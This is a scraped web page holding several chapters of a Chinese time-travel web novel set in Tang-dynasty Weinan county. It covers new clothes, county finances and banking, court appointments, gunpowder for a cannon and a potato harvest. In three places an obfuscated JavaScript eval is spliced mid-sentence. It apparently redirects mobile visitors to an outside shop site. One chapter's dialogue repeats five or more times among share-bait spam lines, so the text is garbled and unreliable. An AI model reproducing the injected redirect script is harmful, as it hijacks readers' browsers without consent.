他早就受不了唐朝的装扮了,好看的很好看,难看的.有种异样的美。 这段时间在长安闲来无事,就自己设计了几套符合现代人眼光的衣裙。 李丽质心里一喜,陈衍在这方面的眼光她是非常相信的,而且做出来的衣服总能让她和高阳满意。 她自己私底下还穿过几次旗袍呢。 很快,李丽质换上了新衣,在陈衍面前轻轻转了个圈。 裙裾如云流动,纱披拂风轻扬,一身素白却衬得她眉眼愈发温婉清丽。 她低头理了理袖口,嘴角不自觉地扬起一点笑意。 “谢谢,我很喜欢这套裙子。 陈衍倚靠在门框上,打量了她片刻,皱了皱眉,“你这发型不对,太显老了,而且配饰同样很难看,来,我教你。 李丽质乖巧地点头,坐在梳妆镜前,按照陈衍的要求重新扎头发。 期间好多次明明扎好了,她觉得很好看,陈衍却依旧不满意。 最后,她手都酸了,陈衍依然没放弃,随后叫来了青儿和香岚,以及婵儿三人轮番给李丽质扎头发,费了好大劲,总算让他满意了。 李丽质默然望着铜镜里的自己,觉得跟前几次好像也没什么差别,但看到陈衍满意的目光,她抿了抿唇。 算了,夫君喜欢就好。 “你以后头发就照这样扎,衣裙穿我做的。以前那些衣服什么的别穿了,有些我真的欣赏不来。陈衍喜滋滋地说。 “好!李丽质含笑答应下来。 “. al生成的,大家看看就好 第475章 缅怀 回渭南县的马车上,李丽质和高阳穿着陈衍做的新裙子,心情肉眼可见地比平时好了许多。 当然了,陈衍也高兴。 起码她们现在的穿着更符合他的眼光,看起来就赏心悦目。 三人说说笑笑间,不知不觉已经到了渭南县。 路过那座庞大的图书馆时,陈衍透过车帘望着那牌匾上的三个大字,一时间竟有些恍惚。 其实,不管是给李丽质他们做衣服,还是给那座吸引了天下学子的建筑取名为图书馆,都是他在下意识地缅怀他曾经生活的时代。 陈衍知道自己永远回不去了,不仅仅是因为他跟那个时代隔了一千多年,更是因为他在这里拥有了无法割舍的东西。 所以只能用这样的方式,让这里有了一丝他熟悉的模样。 哪怕仅仅是一个不太合适的名字,一件对李丽质他们来说很新奇、很漂亮的裙子。 而这些东西,对陈衍来说,却是一个不灭的印记。 高阳似乎是注意到了他的目光,掀开车帘,顺着他的目光看了看,然后吐槽道:“我一直觉得,你这个图书馆的名字取得不怎么样,还不如叫藏书阁,或者万书楼呢,图书馆听起来怪怪的。” “高阳.”李丽质扯了扯高阳的袖子,用眼神示意她别说了。 她看得出来,陈衍似乎在怀念什么,眼里蕴含着她看不懂的情绪。 此刻,她莫名觉得一向表面放荡不羁,实则骨子里傲然的夫君,竟有些脆弱? 陈衍叹了口气,从情绪中脱离,望向高阳,“你是不是又想挨揍了?” 高阳眉头一竖,就要硬刚。 李丽质赶忙拦住她,不让她说话。 你那是想跟陈衍吵架吗? 我都不好意思拆穿你! 求你别那么硬气了,要不然晚上我还得跟着你遭罪。 李丽质突然有些理解从前的香岚了,高阳每次明知道打不过,还硬要去踹陈衍家大门的时候,她是不是也是这种心情? “姐姐,干嘛不 让我说?”高阳扒拉开李丽质捂着自己的嘴,略带不满,“你看他多嚣张啊?” “我不就说他一句名字取得不好而已,至于吗?” “凶什么凶?搞得好像我怕他似的。” “对,你不怕。”李丽质那叫一个无语,索性把话说开,“但他懂医术,会给自己熬药喝,我们两个能禁得住他一直折腾吗?” “别那么嘴硬了,等缓两天行不行?” 高阳:“.” 陈衍:“.” “我”高阳顿了顿,冷哼一声,“算了,我给你一个面子,不跟他一般见识。” 陈衍‘呵’了声,懒得搭理她,对外面喊道:“小顺子,在县衙门口放我下来,你先带着两位夫人回去。” “哎,好嘞。”小顺子大声回了句。 “夫君,早些回来。”李丽质自然不会阻止陈衍前往县衙,轻声叮嘱了一句。 “好,我记住了。”陈衍微笑着点点头,随即看向高阳。 如果不出意外的话,这狗女人又要出言不逊了。 “别死外头了,免得还要我们给你收尸。” 果不其然,这熟悉的感觉一下子就上来了。 陈衍这次没跟高阳掰扯,在到达县衙的时候就下车了。 不知是不是来得巧,正好遇见刚从里面出来的许怜月。 看见他时,明显愣了一下,然后略显手足无措地行礼,“县令大人。” “嗯,杜构他们在吗?随我进去看看吧。”陈衍点点头,越过她,径直往里面走去。 说起来,他并不是魂穿,应该算得上胎穿,直到后来觉醒宿慧,不过前世的一些观念深刻影响着小时候的他,所以才能毫不嫌弃地跟许怜月一个商贾之女玩到一起。 再者,若不是如此,青儿也早被他吃干抹净了。 像是程处默他们身边的侍女,那基本上在很早之前就被他们拿下了。 一路来到杜构他们处理公务的地方,陈衍带着许怜月推门而进。 杜构闻声抬 头,见他到来,很是高兴地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836427|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身,“陈兄,你回来了?” “昂,回来了呗。” 不知道怎么回事,一来到这里陈衍就感觉特别累,随手找了张椅子躺靠着,懒洋洋道:“这趟回长安勉强算得上顺利,出了不少意料之外的情况,不过结果还算不错。” “县衙这段时间还好吧?怎么没看到马周他们?” “出去了呗。”杜构习惯性地拿出茶具和茶叶,吩咐人去取热水,随即来到陈衍旁边坐下。 “至于县衙和马周他们”杜构顿了顿,笑着说,“渭南县目前正在快速发展,但因为早有规划,我们只需按照规划来进行,加上人手足够,我们并不怎么忙。” “他们都到外面去了,要么去一些地方了解情况,要么就是去了下面比较偏远的村子,亲自检查一下还有没有土地未被登记。” “目前,最忙的应该是许姑娘。” 陈衍若有所思地看了眼自觉找位置坐下的许怜月,摸着下巴思索了片刻:“找人吧,看看有没有这方面的人才,今后有关买卖方面的事,不能总压在她一个人身上,必须要有人分担。” “再一个,我已经跟世家达成了初步的合作,许怜月接下来的重心要放在跟他们洽谈上面。” “如果顺利的话,可以通过世家,把绢帛、白糖、白蜡等物品售卖到大唐之外,赚取更大的利润。” 跟世家合作. 杜构面露怪异。 “你是认真的吗?” 陈衍嘴角一抽,“那不是我认不认真,是看世家认不认真啊,反正我是答应了。” “天下熙熙皆为利往嘛,哪有永远的敌人?” “渭南县存在他们不可忽视的利益,但他们又不能用强硬的手段,合作就是最好的幌子。” “大家各取所需,各凭本事罢了。” “明白了。”杜构恍然大悟。 虽然他不太擅长做买卖,但对于这种弯弯道道那可太了解了。 陈衍简单几句话,他差不多就明白了怎么回事。 “对了,钱庄怎么样了?” “.” 第476章 杜构:俺俩还跟着你 “钱庄的发展很好目前渭南县的钱庄已经存入了七十万贯钱放出去五十多万贯。” 许怜月起身答道:“我翻阅过存款人的信息这些钱有八成是渭南县普通百姓存下的一些较为有钱的商贩虽然有存但存入很少我猜测他们应该是还在观望不敢大规模存入。” “我认为没必要死磕这部分人群 说着她顿了顿“再一个以目前的条件我们有关钱庄的许多规划仍然无法实施例如于渭南县存钱在外地取钱的业务。” “这更需要我们尽快把钱庄铺开才能做到。” 陈衍思索道:“这并不简单说起来容易实施起来肯定是存在很多困难的。” “既要做出别人无法仿造的凭证以免有人通过漏洞从钱庄套取钱财更要有一套完整的信息快速传递方式和想出一套处理账目问题的方法。” “先在长安城以及周边扩展吧这边我们还能把握远点的地方我们先想想商量出一套解决的办法再说。” “好的。”许怜月应了声重新坐下。 陈衍扫了她一眼忽然有种莫名的熟悉感。 许怜月像不像一个秘书? “陈兄前两天老头子给我传信暗里给我透露咱们好像要回长安了。” 杜构突然一句话打断了陈衍的思考。 同时令许怜月脸色苍白了一瞬。 只不过两人都没注意到。 陈衍沉吟道:“此次回长安也有人明里暗里告诉过我或许我们今年就要回长安了。” “太快了。”杜构并不意外颇为感慨道:“我原以为我们会在渭南县待个三五年没曾想这才一年多不到两年就要回去了。” “计划赶不上变化嘛很正常。”陈衍有些头疼“渭南县的发展太快了只要按部就班的发展下去估计要不了多少年就能成为除了长安之外最繁华的县城。” “我记得,上上次的时候,你爹和房大人就有意让我接魏大人的位置,这次回去,连长孙无忌都说让我接替他的位置。” “更重要的是,现在不仅长安朝廷的局势在变,天下的局势同样在变。战火将起,已经看到结果的陛下哪里还会让我们待在渭南县潇洒?” “绝对已经迫不及待想抓我们回去当牛马了。” 牛马 杜构额头浮现出两条黑线。 牛马这个词确实很贴切,但是不是多少有点难听了啊? 就在此时,许怜月突然开口问:“那你们走了,渭南县怎么办?” 陈衍迟疑道:“应该不会全走,我估摸着,走的应该是我跟杜构,以及房遗直和马周四人,李义府他们四人应该还得留一阵,避免出现乱子。” “不说这个了。”杜构兴冲冲地问,“你有没有想好回长安要做什么?该不会真接替魏征或者长孙无忌的位置吧?” 陈衍翻了个白眼,“你这话说的,难不成我想干嘛就干嘛?那不都听上面安排嘛。” “快拉倒吧。”杜构明显不相信,“你就算不是想干嘛就干嘛,那也差不多了。” “想任职什么,不都你自己私下跟陛下商量着来吗?” “如果我爹跟房大人以及陛下真想让你接魏征的位置,如果换做他人,能有拒绝的机会?” “我猜测,这大概是陛下的一次试探,看看你态度如何。记得去年的时候,陛下还想让你进户部,然后先扶持一个傀儡来任户部尚书,等你年纪稍微大点就让你正式接任。” “如今接替魏征的位置,并不过分。” “他现在不是多管了一个大唐民报吗?” 陈衍连连摆手,“算了吧,魏征的位置太高了,**不来。听说典厩署令挺好的,回头我就跟陛下自荐一下。” “.什么令?” 杜构懵了一下,声音猛地抬高。 “典厩署令啊!” 杜构:“.” “那**不养马的吗?” “养马咋了!”陈衍义正言辞道:“典厩署令不是个官吗?不是在为大唐做贡献吗?” “只要我一心为国何须在意官大官小?” “我可去你的吧!”杜构实在没忍住吐槽道:“什么一心为国我看你就是想偷懒。还自荐你自荐去吧!” “陛下若能同意你当那什么狗屁典厩署令从今往后你让我往东我不往西!” 陈衍表情古怪幽幽道:“说的好像你现在不是一样。” 杜构:“.” “那不重要。”杜构大手一挥凑过来揽着他的肩膀:“你别跟我扯了透露透露呗你到底要去哪里?” “我跟房兄商量商量我们俩还跟着你。” 说实话跟着陈衍杜构和房遗直真掏上了。 怎么形容呢.以肉眼可见的看到自己前途无量吧。 想想当初李世民派他们过来实践所谓的经济流通结果陈衍哪样不是办得漂漂亮亮的? 钱赚了百姓富了 期间更是干了许多令人瞠目结舌的事例如整了个无旌骑出来。 可谓是远远超出李世民当初的预期。 跟着陈衍吧他虽然不管事平时辛苦的是他们但陈衍能带飞啊! 瞧瞧现在不已经带飞了吗? 仅仅不到两年的时间他们都多少次进入陛下以及那些朝廷重臣的视线了? 杜构跟房遗直都商量好了回去还跟陈衍! “这我真不清楚。”陈衍摇头“具体得看上面安排不过我料想要么就是秘书省要么就是户部。” “因为魏征身上的担子确实重了些再一个王珪应该要下来了空出来的位置要么是魏征接替要么是戴胄。” “这两人一上去吧同样会空出位置而且是陛下想让我去的地方所以除了秘书省就是户部了。” 许怜月望着相谈的二人脸上的笑容愈发勉强心底一片苦涩。 “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “养马咋了!”陈衍义正言辞道:“典厩署令不是个官吗?不是在为大唐做贡献吗?” “只要我一心为国,何须在意官大官小?” “我可去你的吧!”杜构实在没忍住,吐槽道:“什么一心为国,我看你就是想偷懒。还自荐,你自荐去吧!” “陛下若能同意你当那什么狗屁典厩署令,从今往后,你让我往东我不往西!” 陈衍表情古怪,幽幽道:“说的好像你现在不是一样。” 杜构:“.” “那不重要。”杜构大手一挥,凑过来,揽着他的肩膀:“你别跟我扯了,透露透露呗,你到底要去哪里?” “我跟房兄商量商量,我们俩还跟着你。” 说实话,跟着陈衍,杜构和房遗直真掏上了。 怎么形容呢.以肉眼可见的看到自己前途无量吧。 想想当初李世民派他们过来实践所谓的经济流通,结果陈衍哪样不是办得漂漂亮亮的? 钱赚了,百姓富了,县城发展一片大好。 期间更是干了许多令人瞠目结舌的事,例如整了个无旌骑出来。 可谓是远远超出李世民当初的预期。 跟着陈衍吧,他虽然不管事,平时辛苦的是他们,但陈衍能带飞啊! 瞧瞧现在,不已经带飞了吗? 仅仅不到两年的时间,他们都多少次进入陛下以及那些朝廷重臣的视线了? 杜构跟房遗直都商量好了,回去还跟陈衍! “这我真不清楚。”陈衍摇头,“具体得看上面安排,不过我料想要么就是秘书省,要么就是户部。” “因为魏征身上的担子确实重了些,再一个,王珪应该要下来了,空出来的位置,要么是魏征接替,要么是戴胄。” “这两人一上去吧,同样会空出位置,而且是陛下想让我去的地方,所以除了秘书省就是户部了。” 许怜月望着相谈的二人,脸上的笑容愈发勉强,心底一片苦涩。 “.” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “养马咋了!”陈衍义正言辞道:“典厩署令不是个官吗?不是在为大唐做贡献吗?” “只要我一心为国何须在意官大官小?” “我可去你的吧!”杜构实在没忍住吐槽道:“什么一心为国我看你就是想偷懒。还自荐你自荐去吧!” “陛下若能同意你当那什么狗屁典厩署令从今往后你让我往东我不往西!” 陈衍表情古怪幽幽道:“说的好像你现在不是一样。” 杜构:“.” “那不重要。”杜构大手一挥凑过来揽着他的肩膀:“你别跟我扯了透露透露呗你到底要去哪里?” “我跟房兄商量商量我们俩还跟着你。” 说实话跟着陈衍杜构和房遗直真掏上了。 怎么形容呢.以肉眼可见的看到自己前途无量吧。 想想当初李世民派他们过来实践所谓的经济流通结果陈衍哪样不是办得漂漂亮亮的? 钱赚了百姓富了县城发展一片大好。 期间更是干了许多令人瞠目结舌的事例如整了个无旌骑出来。 可谓是远远超出李世民当初的预期。 跟着陈衍吧他虽然不管事平时辛苦的是他们但陈衍能带飞啊! 瞧瞧现在不已经带飞了吗? 仅仅不到两年的时间他们都多少次进入陛下以及那些朝廷重臣的视线了? 杜构跟房遗直都商量好了回去还跟陈衍! “这我真不清楚。”陈衍摇头“具体得看上面安排 “因为魏征身上的担子确实重了些再一个王珪应该要下来了空出来的位置要么是魏征接替要么是戴胄。” “这两人一上去吧同样会空出位置而且是陛下想让我去的地方所以除了秘书省就是户部了。” 许怜月望着相谈的二人脸上的笑容愈发勉强心底一片苦涩。 “.” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 “养马咋了!”陈衍义正言辞道:“典厩署令不是个官吗?不是在为大唐做贡献吗?” “只要我一心为国何须在意官大官小?” “我可去你的吧!”杜构实在没忍住吐槽道:“什么一心为国 “陛下若能同意你当那什么狗屁典厩署令从今往后你让我往东我不往西!” 陈衍表情古怪幽幽道:“说的好像你现在不是一样。” 杜构:“.” “那不重要。”杜构大手一挥凑过来揽着他的肩膀:“你别跟我扯了透露透露呗你到底要去哪里?” “我跟房兄商量商量我们俩还跟着你。” 说实话跟着陈衍杜构和房遗直真掏上了。 怎么形容呢.以肉眼可见的看到自己前途无量吧。 想想当初李世民派他们过来实践所谓的经济流通结果陈衍哪样不是办得漂漂亮亮的? 钱赚了百姓富了县城发展一片大好。 期间更是干了许多令人瞠目结舌的事例如整了个无旌骑出来。 可谓是远远超出李世民当初的预期。 跟着陈衍吧他虽然不管事平时辛苦的是他们但陈衍能带飞啊! 瞧瞧现在不已经带飞了吗? 仅仅不到两年的时间他们都多少次进入陛下以及那些朝廷重臣的视线了? 杜构跟房遗直都商量好了回去还跟陈衍! “这我真不清楚。”陈衍摇头“具体得看上面安排不过我料想要么就是秘书省要么就是户部。” “因为魏征身上的担子确实重了些再一个王珪应该要下来了空出来的位置要么是魏征接替要么是戴胄。” “这两人一上去吧同样会空出位置而且是陛下想让我去的地方所以除了秘书省就是户部了。” 许怜月望着相谈的二人脸上的笑容愈发勉强心底一片苦涩。 “.” 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “养马咋了!陈衍义正言辞道:“典厩署令不是个官吗?不是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我可去你的吧!杜构实在没忍住,吐槽道:“什么一心为国,我看你就是想偷懒。还自荐,你自荐去吧! “陛下若能同意你当那什么狗屁典厩署令,从今往后,你让我往东我不往西! 陈衍表情古怪,幽幽道:“说的好像你现在不是一样。 杜构:“. “那不重要。杜构大手一挥,凑过来,揽着他的肩膀:“你别跟我扯了,透露透露呗,你到底要去哪里? “我跟房兄商量商量,我们俩还跟着你。 说实话,跟着陈衍,杜构和房遗直真掏上了。 怎么形容呢.以肉眼可见的看到自己前途无量吧。 想想当初李世民派他们过来实践所谓的经济流通,结果陈衍哪样不是办得漂漂亮亮的? 钱赚了,百姓富了,县城发展一片大好。 期间更是干了许多令人瞠目结舌的事,例如整了个无旌骑出来。 可谓是远远超出李世民当初的预期。 跟着陈衍吧,他虽然不管事,平时辛苦的是他们,但陈衍能带飞啊! 瞧瞧现在,不已经带飞了吗? 仅仅不到两年的时间,他们都多少次进入陛下以及那些朝廷重臣的视线了? 杜构跟房遗直都商量好了,回去还跟陈衍! “这我真不清楚。陈衍摇头,“具体得看上面安排,不过我料想要么就是秘书省,要么就是户部。 “因为魏征身上的担子确实重了些,再一个,王珪应该要下来了,空出来的位置,要么是魏征接替,要么是戴胄。 “这两人一上去吧,同样会空出位置,而且是陛下想让我去的地方,所以除了秘书省就是户部了。 许怜月望着相谈的二人,脸上的笑容愈发勉强,心底一片苦涩。 “. 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 “养马咋了!陈衍义正言辞道:“典厩署令不是个官吗?不是在为大唐做贡献吗? “只要我一心为国,何须在意官大官小? “我可去你的吧! “陛下若能同意你当那什么狗屁典厩署令,从今往后,你让我往东我不往西! 陈衍表情古怪,幽幽道:“说的好像你现在不是一样。 杜构:“. “那不重要。杜构大手一挥,凑过来,揽着他的肩膀:“你别跟我扯了,透露透露呗,你到底要去哪里? “我跟房兄商量商量,我们俩还跟着你。 说实话,跟着陈衍,杜构和房遗直真掏上了。 怎么形容呢.以肉眼可见的看到自己前途无量吧。 想想当初李世民派他们过来实践所谓的经济流通,结果陈衍哪样不是办得漂漂亮亮的? 钱赚了,百姓富了,县城发展一片大好。 期间更是干了许多令人瞠目结舌的事,例如整了个无旌骑出来。 可谓是远远超出李世民当初的预期。 跟着陈衍吧,他虽然不管事,平时辛苦的是他们,但陈衍能带飞啊! 瞧瞧现在,不已经带飞了吗? 仅仅不到两年的时间,他们都多少次进入陛下以及那些朝廷重臣的视线了? 杜构跟房遗直都商量好了,回去还跟陈衍! “这我真不清楚。陈衍摇头,“具体得看上面安排,不过我料想要么就是秘书省,要么就是户部。 “因为魏征身上的担子确实重了些,再一个,王珪应该要下来了,空出来的位置,要么是魏征接替,要么是戴胄。 “这两人一上去吧,同样会空出位置,而且是陛下想让我去的地方,所以除了秘书省就是户部了。 许怜月望着相谈的二人,脸上的笑容愈发勉强,心底一片苦涩。 “. 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第477章 陈衍:你是我带过最差的一届 本以为自己舍弃从前无比看重的东西,答应高阳公主的条件,能够偶尔跟随在他身边,力所能及地帮上他一些。 许怜月以为自己已经在慢慢接近他了,却不曾想,今日陈衍和杜构的交谈,再次让她认识到了两人之间的差距。 来渭南县,都需要她舍弃尊严,可渭南县只是他的一处短暂的停留地啊。 如今他即将前往长安,注定走向巅峰,成为那一人之下万人之上,自己又要付出什么样的代价才能跟上去? 或者说,她今生今世还能有机会跟上去吗? 许怜月不知道,亦不敢深想。 当初一念之差造就了这一切,怨不得任何人。 “行吧,那我回头问问我爹,你要回长安的话,陛下应该不是一个人拿主意,如果陛下跟我爹他们商量,说不定我能收到些消息,到时候再安排。” 杜构有些遗憾,但也并未着急。 有背景就是这般任性,大不了到时候重新调动就好了。 陈衍点点头,对于杜构和房遗直依然想跟着自己没什么意见。 这两人未来能力都不差,更重要的是很懂得躺,而且大家都是同龄人,也更为熟悉。 如果回长安,手底下有班底终归是好的。 “对了.” 接下来,陈衍仔细询问了渭南县各处的情况,以及从前定下的规划施行到哪一步了。 杜构一一做出了回答。 总而言之,一切都在往好的方向发展,现在的渭南县不说一天一个样,那也差不了多少。 到现在,其实已经不用陈衍各处都需要关注了,能做的他都做了。 其他的杜构和李义府他们可以自己解决。 商讨片刻,在陈衍准备起身离开的时候,杜构拦住了他,“陈兄,过几日我在家摆两桌,届时大家一起过来庆祝庆祝吧,来渭南县辛苦这么久,大家还从未好好聚在一起吃顿饭呢。” “嗯?”陈衍愣了一下,随即爽快地答应下来。 “没问题啊,回头你 告诉我具体的日期便好,我会来的。 “. 从县衙出来,陈衍终究是担心李泰的,赶紧回家想看看李泰有没有给自己整出什么幺蛾子。 所幸李泰似乎是吃了教训,也可能上次被**炸了一下,知道怕了,所以在钻研大炮的时候很小心。 一切的防护措施都做得很好,哪怕有需要试验的东西,都是派下面人来的,没有亲自上。 这让陈衍很是欣慰,拍着激动跑过来的李泰肩膀,“青雀兄啊,你总算长大了,不枉我上次揍你一顿啊。 李泰:“. “如果我没记错的话,我年纪好像比你大吧?而且你还是我妹夫。 “那都不重要!陈衍大手一挥,“咱们哥俩儿还谈那个吗? “没有这层亲戚关系,咱俩的感情也无需质疑! “以后你管我叫大哥就行,妹夫太见外了,搞得好像我没娶你妹妹,咱们就没什么关系似的。 李泰嘴角一抽,幽幽地盯着他。 你是不是当我傻? “对了,青雀兄,大炮有什么成果了吗?陈衍干咳一声,赶紧扯开话题。 说起这个,李泰有些遗憾,随即又激动起来,“我正想跟你说呢,我遇到了困难,你赶紧过来指点我一下! 李泰连忙说出了自己遇到的问题。 简单来说,就是感觉现在**不支持他做出大炮,因为普通的**不足以满足发射弹丸的动能。 更简单来说,就是现在的**太拉胯了,燃烧起来产生的动能不够,即便能将弹丸发射出去,那也射不远。 李泰想了很多办法都没用,只能期待陈衍来解决。 “青雀兄啊,你不能总是一遇到困难就找我求助!陈衍语重心长道:“其实我也不是万能的,你才是这方面真正的天才! “如果我能做到,那我当初还费那么大劲找你干嘛? “你说对不? 李泰愣愣地点点头,迟疑道:“所以.陈兄你也解决不了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856703|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个问题吗?” 他有些失望还以为等陈衍回来他遇到的所有困难都能解决呢。 “那倒不是!”陈衍话锋一转“我只是想提醒你别太依赖我我能做的大多是将自己脑子里的知识教给你其他的很多我无能为力。” “当然了不包括这个问题。” “有关**产生的动能不足这个我还是有点见解的。” 李泰:“.” 他很想吐槽但又不知道该从哪里吐槽开始。 你**知道直接说不就完了吗? 跟我扯一大堆干嘛? 李泰无奈道:“好好好我明白了我以后尽量不依靠你你快说吧**的问题该怎么解决。” 陈衍揽着他的肩膀拉着他来到一包打开的**前指着它说:“首先 不等李泰回话他自顾自道:“因为目前的**还是粉末状态的属于物理混合密度低颗粒间空隙多点燃时火焰快速穿过空隙燃烧速度过快近乎爆燃。” “所以它的持续时间很短推力不够!” “倘若你想真正做出大炮那就必须想办法优化**改变**粉末状态的形状提高密度把原本类似‘炸’的反应制作成‘推’!” “这样才能满足你射得远的要求明白不?” 李泰一脸若有所悟地模样冥思苦想了半天然后涨红着脸问:“所以到底要怎么改变它粉末状态的形状又如何提高密度把‘炸’的反应制作成‘推’呢?” “我不懂啊!” “咦!”陈衍那叫一个嫌弃“你真是我带过最差的一届都跟你说得这么明白了你竟然还不懂?” “既然粉末状不行那就浓缩成颗粒状呗!” “就是那种一颗一颗的类似小丹丸的颗粒!” “明白了吧!” “噢噢噢!”这么一说李泰瞬间理解了恍然大悟。 “对啊我之前怎么就没想到呢。” “陈兄还得是你” “不对那又怎么把**做成颗粒状呢?” 陈衍:“.” “.” 第478章 土豆再次成熟 解决完李泰这边的事,陈衍总算可以回家了。 只不过,刚到家门口,忽然遇到了两个意外的人。 “来恒,来济?” 来恒来济两兄弟目光那叫一个幽怨,这段时间他们可谓吃尽了苦头。 但怎么说呢,吃了多少苦,那么收获就有多大。 在折冲府确实天天被人折腾,可他们现在几乎能做到将一些书籍倒背如流。 刀架你脖子上,让你读书你怕不怕? “来氏兄弟见过渭国公大人。” 幽怨归幽怨,来氏兄弟不是不讲道理的人,恭恭敬敬地对陈衍行礼。 陈衍打量他们兄弟二人一眼,笑着问,“你们这是准备要返回家乡,参加县考了吗?” “对。”来恒长叹一声,“这段时间承蒙渭国公相助,原本我兄弟二人是没有信心考上的,但现在不一样了,所以我们打算返回家乡,先从县试开始,层层往上,直到成为天子门生!” “好志气!”陈衍大赞,“能做的我都已经做了,接下来就看你们自己造化了,能不能考上,就看最后了。” “离开之后,我建议你们继续按照我的方法来读书,寒门子弟跟世家子弟最大差距除了门路,更多是寒门子弟没有规划性的读书,事倍功半。” “如今的你们也不要懈怠,科举将开的消息已经传遍天下,你们的竞争对手实在太多了。” 来氏兄弟郑重拱手,“我们记住了,谢渭国公大人!” “嗯!”陈衍一挥手,“走吧,多余的话我就不说了,如果有什么困难,随时传信给我。” 来氏兄弟明白,这算是陈衍给他们二人的一个承诺。 兄弟俩沉默片刻,将感激深埋在心底,一如陈衍第一次见到他们那般,背着大包小包离开了。 “科举啊” 望着他们离开的背影,陈衍摇头感慨。 上次他特地了解过科举各项流程,甚至从李世民那里找到过贞观元年状元的试卷。 看完之后,陈衍只想说这玩 意简直不是人考的。 那真是方方面面都有要求啊,不说自身学识,特么身高长相,以及口才都有要求。 贞观元年那份状元试卷,比特么印刷出来的还要工整。 真的太难了。 “少爷您又不用科举,你感慨啥呢?” 突然,青儿从旁边冒出来,给陈衍吓了一跳。 他没好气道:“我不用科举,那还不能让我感慨一下了?” “孩子带好了吗你?神出鬼没的。” “带好啦~”说起这个,青儿叉着腰道:“少爷您是不放心我呢?小郡主可是由我跟香岚轮流照看的,保证出不了问题。” “行行行,你最辛苦了,等以后让孩子喊你姐姐。” 青儿眼睛一亮,刚要开口,转瞬间意识到了不对,“那我不比您小一辈了吗?” “那咋地?”陈衍乐呵呵道:“你还想比我大一辈啊?” “我是没问题,你问问高阳她们答不答应就行。” “我”青儿语塞,“哎呀,我没有那个意思!” “我都被您绕弯了。” “您还听不听重要的事了?” 陈衍往里走的同时随口道:“什么重要的事啊,能让我们青儿大小姐专门来找我一趟。” “少爷!”青儿不满地跺跺脚,哼哼唧唧地说:“您种在后院的那批土豆成熟了,您不是让我一直盯着吗?说成熟了马上告诉你。” “嗯?”陈衍眨眨眼,反应过来之后,心里一喜,脚步骤然加快。 土豆啊! 当初自己可只有半颗,还是半废了! **细心照顾了多久,甚至专门搬到了自己屋子里照看着,最终才重新抽芽长成。 收获之后,他都没舍得吃,又种了下去。 直到种了两三轮,数量渐渐上来,他这才种在了后院,而且还不到一亩,差不多八分地。 陈衍估摸着,这次收获之后,差不多能有个几百上千斤,足够用来当粮种了,实在不容易啊 。 来到后院专门挖出了一块地前,陈衍望着已经成熟的土豆,脸上不自觉染上了笑容。 “好好好,不枉我辛苦照料这么久啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856704|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “总算长成了!” “青儿,快!快给我搞把锄头来,赶紧挖出来!” 青儿一听,下意识就想按陈衍的吩咐去办,却好似想到了什么,试探性问:“少爷,这土豆这么重要,按您从前的性子,不应该让陛下来挖吗?” “何必自己辛苦呢?” 陈衍:??? 他神色古怪,摸了摸下巴,“好像有道理啊!” “小顺子,小顺子!” “哎,少爷,我在呢!” 小顺子高声回应,不一会儿就跑到了他跟前。 “你马上进宫一趟,请陛下过来!”陈衍立刻安排下去,想了想,说:“就说我这里有天降祥瑞请他过来看看!” 小顺子看了眼他背后的土豆地,明白了陈衍的意思,赶忙应下来,随即小跑着离开了。 “青儿,把我的椅子搬过来,今天高兴,让张姨整几个硬菜!”陈衍大手一挥,很是神气。 显然心情高兴。 青儿让下人把他的椅子搬来,陈衍顺势一躺,脑子里已经在寻思这土豆该怎么种了。 毕竟八分地种出来的土豆,加上又不是后世的品种,哪怕经过他用土制肥料灌溉,但收成顶了天一千斤。 一千多斤作为粮种够了,吃绝对是不行的。 所幸目前还是六月,今年找些肥沃的土地,以及多找些人照料着,应该还能收成一批。 明年的数量绝对很可观,届时无论是自己种,又或者推出去让百姓种都可以! 